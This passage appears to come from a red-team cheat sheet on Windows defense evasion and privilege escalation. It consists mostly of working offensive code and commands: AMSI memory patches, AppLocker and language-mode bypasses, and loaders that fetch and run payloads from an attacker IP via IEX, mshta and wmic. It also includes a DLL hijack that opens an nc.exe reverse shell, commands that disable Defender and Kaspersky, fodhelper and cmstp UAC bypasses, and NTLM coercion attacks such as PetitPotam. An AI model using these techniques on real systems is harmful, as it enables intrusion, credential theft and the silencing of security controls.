static IntPtr _amsiContext;


static IntPtr _amsiSession;

static void Main(string[] args)


{
uint result;

// Initialize the AMSI API.


result = AmsiInitialize("Demo App", out _amsiContext);

// Opens a session within which multiple scan requests can be correlated.


result = AmsiOpenSession(_amsiContext, out _amsiSession);

// Test sample
//var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD
var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

// Send sample to AMSI


var amsiResult = ScanBuffer(sample);
Console.WriteLine($"Before patch: {amsiResult}");

var modules = Process.GetCurrentProcess().Modules;


var hAmsi = IntPtr.Zero;

foreach (ProcessModule module in modules)


{
if (module.ModuleName.Equals("amsi.dll"))
{
hAmsi = module.BaseAddress;
break;
}
}

var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

// Make region writable (0x40 == PAGE_EXECUTE_READWRITE)


VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);

// Copy patch into asb region


Marshal.Copy(patch, 0, asb, patch.Length);

// Restore asb memory permissions


VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);

// Scan same sample again


amsiResult = ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}");
}

static string ScanBuffer(byte[] sample)


{

var result = AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length, "Demo Samp


return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
}

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect

[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

[DllImport("amsi.dll")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

// The antimalware provider may return a result between 1 and 32767, inclusive, as an
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the cont
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, stri
}
}

Patch AmsiOpenSession

amsiOpenSession.ps1
function lookupFunc {
Param ($moduleName, $funcName)

$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_


$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($modu
}

function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)

$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.Ass


$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConv
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes)
return $type.CreateType()
}

[IntPtr]$funcAddr = lookupFunc amsi.dll AmsiOpenSession


$oldProtection = 0

$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kern


$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtection)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtection)

Patch AMSI Provider

https://www.blackhat.com/asia-22/briefings/schedule/#amsi-unchained-review-of-known-amsi-bypass-
techniques-and-introducing-a-new-one-26120

https://github.com/deepinstinct/AMSI-Unchained/blob/main/InitializationInterception.ps1
https://github.com/deepinstinct/AMSI-Unchained/blob/main/ScanInterception_x64.ps1
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patch-the-providers-dll-of-microsoft-
mpoavdll
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#scanning-interception
List registered AMSI Providers (same as AMSIProviders):

$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name


foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32"

Jscript

AmsiEnable Registry Key

Set the HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable registry key to


0 and run the evil script:

regkey.js
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var AmsiEnable = sh.RegRead(key);
if (AmsiEnable != 0) {
throw new Error(1, '');
}
} catch(e) {
sh.RegWrite(key, 0, "REG_DWORD");
sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + WScript.ScriptFullName, 0
sh.RegWrite(key, 1, "REG_DWORD");
WScript.Quit(1);
}

<EVIL_SCRIPT_CONTENTS>
...

Rename AMSI.dll

Copy C:\Windows\System32\wscript.exe binary to a different location and rename in to


AMSI.dll in order to prevent loading the real AMSI.dll :

rename.js
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try {
if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll") == 0) {
throw new Error(1, '');
}
} catch(e) {
filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll")

sh.Exec("C:\\Windows\\Tasks\\AMSI.dll
WScript.Quit(1); -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScri
}
<EVIL_SCRIPT_CONTENTS>
...

Application Whitelist Bypass

https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-
whitelisting-rules/

https://vanmieghem.io/stealth-outlook-persistence/

AppLocker Bypass

AppLocker Bypass

https://github.com/api0cradle/UltimateAppLockerByPassList
https://www.hackplayers.com/2018/12/english-cor-profilers-bypassing-windows.html
https://0xdf.gitlab.io/2019/03/15/htb-ethereal-cor.html

https://gitlab.com/0xdf/ctfscripts/tree/master/rev_shell_dll

Enumeration

Check if there are any AppLocker rules:

PS > Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

InstallUtil

A combination of AppLocker and CLM bypass:

BypassCLM.cs
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace BypassCLM
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("These aren't the droids you're looking for.");
}
}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}

Add a reference for the System.Management.Automation assembly before compilation


from path:

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35

Upload and execute:

Attacker > certutil -encode C:\Users\snovvcrash\Bypass.exe bypass.txt


Victim > bitsadmin /Transfer myJob http://10.10.13.37/bypass.txt C:\Windows\System32\spool\dri
Victim > certutil -decode C:\Windows\System32\spool\drivers\color\bypass.txt C:\Windows\System
Victim > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConso

Microsoft.Workflow.Compiler.exe

PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe info.xml pa

info.xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datac
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>payload.txt</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel
<assemblyNames xmlns:
<compilerOptions d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
i:nil="true" xmlns="h
xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Co
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmln
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="t
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">fa
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compile
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns=
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputNa
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warn
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Comp
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:ni
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:n
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="
</parameters>
</CompilerInput>

payload.txt
using System;
using System.Diagnostics;
using System.Workflow.Activities;

public class Foo : SequentialWorkflowActivity {


public Foo() {
Process process = new Process();
// Configure the process using the StartInfo properties.
process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-WindowStyle Hidden -NoP -NoLogo -exec Bypass -enc <B


process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
process.Start();
process.WaitForExit();
}
}

MSBuild

https://egre55.github.io/multi-stage-msbuild-applocker-bypass/

JScript and MSHTA


Full path to .hta file is required:

Cmd > mshta.exe \users\snovvcrash\cmd.hta


Cmd > mshta.exe http://10.10.13.37/cmd.hta

cmd.hta
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

WMIC

Cmd > wmic os get /format:"evil.xsl"


Cmd > wmic process get brief /format:"http://10.10.13.37/evil.xsl"

evil.xsl
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("powershell.exe -WindowStyle Hidden -NoP -NoLogo -exec Bypass -e
]]>
</ms:script>
</stylesheet>

CLM Bypass
PowerShell Constrained Language Mode

https://github.com/calebstewart/bypass-clm

Recon
Check PowerShell language mode:

PS > $ExecutionContext.SessionState.LanguageMode

In-place functions:

PS > whoami
The term 'whoami.exe' is not recognized as the name of cmdlet...
PS > &{ whoami }
megacorp\snovvcrash

Tools

https://github.com/p3nt4/PowerShdll
https://github.com/iomoath/PowerShx

Defender
Microsoft Defender

Add path to exclusions:

PS > $mimi = "C:\Users\snovvcrash\music\mimi\x64\mimikatz.exe"


PS > Add-MpPreference -ExclusionPath $mimi -AttackSurfaceReductionOnlyExclusions $mimi

Download stager without triggering Defender to scan it:

PS > .\MpCmdRun.exe -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\snovvcrash\musi

Coerce the victim machine to reach the attacker (to steal Net-NTLM):

Cmd > C:\PROGRA~1\WINDOW~1\MpCmdRun.exe -Scan -ScanType 3 -File '\\10.10.13.37\share\file'


Disable Defender

https://github.com/mandiant/commando-vm#pre-install-procedures

https://github.com/swagkarna/Defeat-Defender-V1.2

https://github.com/APTortellini/DefenderSwitch

https://github.com/dosxuz/DefenderStop
https://gist.github.com/fiercebrute/46e0636c0eaf72dcd3df4e280b6792d6

http://www.wxxy-sec.com/?p=154
gpedit.msc > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Real-
time Protection > Turn off real-time protection > Enabled ✔
gpedit.msc > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Turn
off Microsoft Defender Antivirus > Enabled ✔

Disable real-time protection (proactive):

PS > Set-MpPreference -DisableRealTimeMonitoring $true

Disable scanning all downloaded files and attachments, disable AMSI (reactive):

PS > Set-MpPreference -DisableIOAVProtection $true

Remove signatures (if Internet connection is present, they will be downloaded again):

PS > cd "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0"


PS > .\MpCmdRun.exe -RemoveDefinitions -All
Or
Cmd > "%PROGRAMFILES%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Lower Token Integrity

https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-
fun-and-profit/article/

https://github.com/plackyhacker/SandboxDefender
https://github.com/pwn1sher/KillDefender
https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
ETW Block
Event Tracing for Windows

https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw

Disable PSEtwLogProvider

https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing

Patch EtwEventWrite

https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
https://github.com/Flangvik/NetLoader/blob/master/Source/Program.cs#L241-L258

Execution Policy Bypass

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

https://bestestredteam.com/2019/01/27/powershell-execution-policy-bypass/

KIS / KES
Kaspersy Internet Security (KIS) / Kaspersky Endpoint Security (KES)

https://www.exploit-db.com/docs/english/40433-deactivating-endpoint-protection-software-in-an-
unauthorized-manner-(revisited).pdf

Scan Exclusions
Potential scan exclusions:
C:\Windows\System32\LogFiles\
C:\Windows\System32\inetsrv\

C:\Windows\ClusterStorage\

C:\ProgramData\Microsoft\Windows\Hyper-V\

Stop Service
Check if KES Self-Defense is enabled:

PS > (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\protected\KES\settings"

Check if KES external management of system services is allowed:

PS > (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\protected\KES\settings"

If EnableSelfProtection is 0 and AllowServiceStop is 1, then it's possible to manipulates KES


application from the command line via klpsm.exe:

Cmd > cd "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Endpoint Security for Windows"
Cmd > klpsm.exe stop_avp_service
Cmd > klpsm.exe start_avp_service

Mimikatz

https://blog.xpnsec.com/exploring-mimikatz-part-1/
https://blog.xpnsec.com/exploring-mimikatz-part-2/

https://www.praetorian.com/blog/inside-mimikatz-part1/

https://www.praetorian.com/blog/inside-mimikatz-part2/
https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html

Obfuscate Mimikatz

https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/
https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/
Invoke-Mimikatz

http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-
reflectivedllinjection-ps1/

Update .ps1

http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/

Update the Invoke-Mimikatz.ps1 PowerShell script:

1. Grab source code zip from the latest (or any one you want) release of Mimikatz.

2. Open the solution in Visual Studio.


3. Select the Second_Release_PowerShell target option and compile for Win32 .

4. Right-click on mimikatz solution > Properties > C/C++ > Set Treat warnings as errors to No
(/WX-) > OK.

5. Compile for x64 .

6. Transform the resulting powerkatz DLLs to base64 and replace the $PEBytes32 and
$PEBytes64 vars at the bottom of Invoke-Mimikatz.ps1 with a PowerShell script below.

Update-InvokeMimikatz.ps1
$powerkatz32 = [System.IO.File]::ReadAllBytes("Win32\powerkatz.dll")
$powerkatz64 = [System.IO.File]::ReadAllBytes("x64\powerkatz.dll")
$encPowerkatz32 = [System.Convert]::ToBase64String($powerkatz32)
$encPowerkatz64 = [System.Convert]::ToBase64String($powerkatz64)
$invokeMimikatz = (New-Object Net.WebClient).DownloadString("https://github.com/BC-SECURITY/Em

$invokeMimikatz -replace '\$PEBytes64 = .*$', ('$PEBytes64 = ' + "'$encPowerkatz64'") > Invoke

UAC Bypass
User Account Control

https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC

Enumeration
Check current token privileges and UAC settings with Seatbelt:
PS > .\Seatbelt.exe TokenPrivileges UAC

SystemPropertiesAdvanced.exe
srrstr.dll DLL hijacking.

https://egre55.github.io/system-properties-uac-bypass

HackTheBox - Arkham

srrstr.c

// i686-w64-mingw32-g++ srrstr.c -lws2_32 -o srrstr.dll -shared

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {


switch(dwReason) {
case DLL_PROCESS_ATTACH:
WinExec("C:\\Users\\<USERNAME>\\Documents\\nc.exe 10.10.13.37 1337 -e
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

return 0;
}

Upload srrstr.dll to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\


and check it:

PS > rundll32.exe srrstr.dll,xyz

Exec and get a shell ("requires an interactive window station"):

PS > cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

cmstp.exe

0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
https://gist.github.com/snovvcrash/56d51e535c3afd89a1e9e68c284553a6

Compile from source, load and execute:

PS > Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies


PS > [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
PS > [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

Load from a weaponized PowerShell and execute:

PS > Bypass-UAC -C "C:\Windows\System32\cmd.exe"

fodhelper

https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692

Create and set registry values (the payload is generated with charlotte.py ):

PS > New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force


PS > New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "Del
PS > Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(de

Trigger fodhelper.exe :

PS > Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden


Cleanup:

PS > Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Another way to do it with a script (hijacking PowerShell executable):

fod.ps1
function Fod {
$cmd = "C:\Windows\Tasks\foo.exe -enc <BASE64_CMD>"

copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "Dele
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(def

Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep -s 3

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon
}

The same thing with ProgID abuse:

fod-ng.ps1
function FodNG {
Param (
[String]$cmd = "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
)

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction Silentl

New-Item "HKCU:\Software\Classes\.snovvcrash\Shell\Open\command" -Force


New-ItemProperty -Path "HKCU:\Software\Classes\.snovvcrash\Shell\Open\command" -Name "
Set-ItemProperty "HKCU:\Software\Classes\.snovvcrash\Shell\Open\command" -Name "(default)"

New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".s

Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\.snovvcrash\" -Recurse -Force
}
SilentCleanup

https://hausec.com/2020/10/30/using-a-c-shellcode-runner-and-confuserex-to-bypass-uac-while-
evading-av/

https://github.com/chryzsh/Aggressor-Scripts/tree/master/uac-bypass

SCM UAC Bypass

https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html
https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82

Tricks
Bypass UAC for file read/write:

Cmd > net use A: \\127.0.0.1\C$


Cmd > A:
Cmd > cd \Windows\System32
Cmd > echo test > test.txt
Cmd > dir test.txt

Authentication Coercion

https://github.com/p0dalirius/windows-coerced-authentication-methods

https://github.com/p0dalirius/Coercer

It's a good idea to check if NTLMv1 downgrade is possible when triggering the callbacks.

NTLMv1 Downgrade
Pi t B (MS RPRN)
https://twitter.com/DebugPrivilege/status/1410158556540719104
twitter.com

Check if Spooler is running via Remote Registry:

$ rpcdump.py MEGACORP/snovvcrash:'Passw0rd!'@192.168.1.11 | grep -A2 -e MS-RPRN -e MS-PAR

SpoolSample

https://github.com/leechristensen/SpoolSample

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Spoolsample.ps1

https://github.com/0x00ach/stuff/blob/master/MS-RPRN.exe
https://github.com/BeetleChunks/SpoolSploit

Cmd > .\SpoolSample.exe 192.168.1.11 10.10.13.37


Cmd > .\SpoolSample.exe 192.168.1.11 attacker@80/test.txt
Cmd > .\SpoolSample.exe 192.168.1.11 attacker@SSL/test.txt

dementor.py

https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc

$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC01.megacorp


$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@80/test.txt DC01
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@SSL/test.txt DC01

printerbug.py

https://https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 10.10.13.37


$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local attacker@80/t
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local attacker@SSL/

PetitPotam (MS-EFSR)
CVE-2021-36942
https://github.com/topotam/PetitPotam

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-Petitpotam.ps1

https://gist.github.com/leechristensen/fda130890fb3c194115e7b856640c30e

https://github.com/ly4k/PetitPotam

$ python3 PetitPotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11


$ python3 PetitPotam.py -d '' -u '' -p '' attacker@80/test.txt 192.168.1.11
$ python3 PetitPotam.py -d '' -u '' -p '' attacker@SSL/test.txt 192.168.1.11
Cmd > .\PetitPotam.exe 10.10.13.37 192.168.1.11 1
Cmd > .\PetitPotam.exe attacker@80/test.txt 192.168.1.11 1
Cmd > .\PetitPotam.exe attacker@SSL/test.txt 192.168.1.11 1

PetitPotam any host (not only a DC with null sessions allowed for the IPC$ share) without initial creds via
proxying through an authenticated session on behalf a DC-relayed machine account:

$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.123


Something went wrong, check error status => SMB SessionError: STATUS_ACCESS_DENIED({Access Den

$ sudo ntlmrelayx.py -ip 10.10.13.37 -t 192.168.1.123 -smb2support --no-http-server --no-wcf-s

$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 DC1.megacorp.local


ntlmrelayx> socks
ntlmrelayx> stopservers

$ sudo ./Responder.py -I eth0 -vA


$ proxychains4 python3 Petitpotam.py -d MEGACORP -u 'DC1$' -no-pass 10.10.13.37 192.168.1.123

NTLM Relay DC1 to EXCH1 to get SOCKS ➡️SOCKS proxy PetitPotam to EX1 as DC1$ ➡️
NTLM Relay to EXCH2 to dump hashes

With Kerberos authentication:

$ getTGT.py megacorp.local/snovvcrash -hashes e929e69f7c290222be87968263a9282e:e929e69f7c29022


$ KRB5CCNAME=`pwd`/snovvcrash.ccache python3 PetitPotam.py -k -no-pass -d megacorp.local -u sn

Theory

https://www.tiraniddo.dev/2021/08/how-windows-firewall-rpc-filter-works.html
https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html
https://itm4n.github.io/fuzzing-windows-rpc-rpcview/
https://itm4n.github.io/from-rpcview-to-petitpotam/
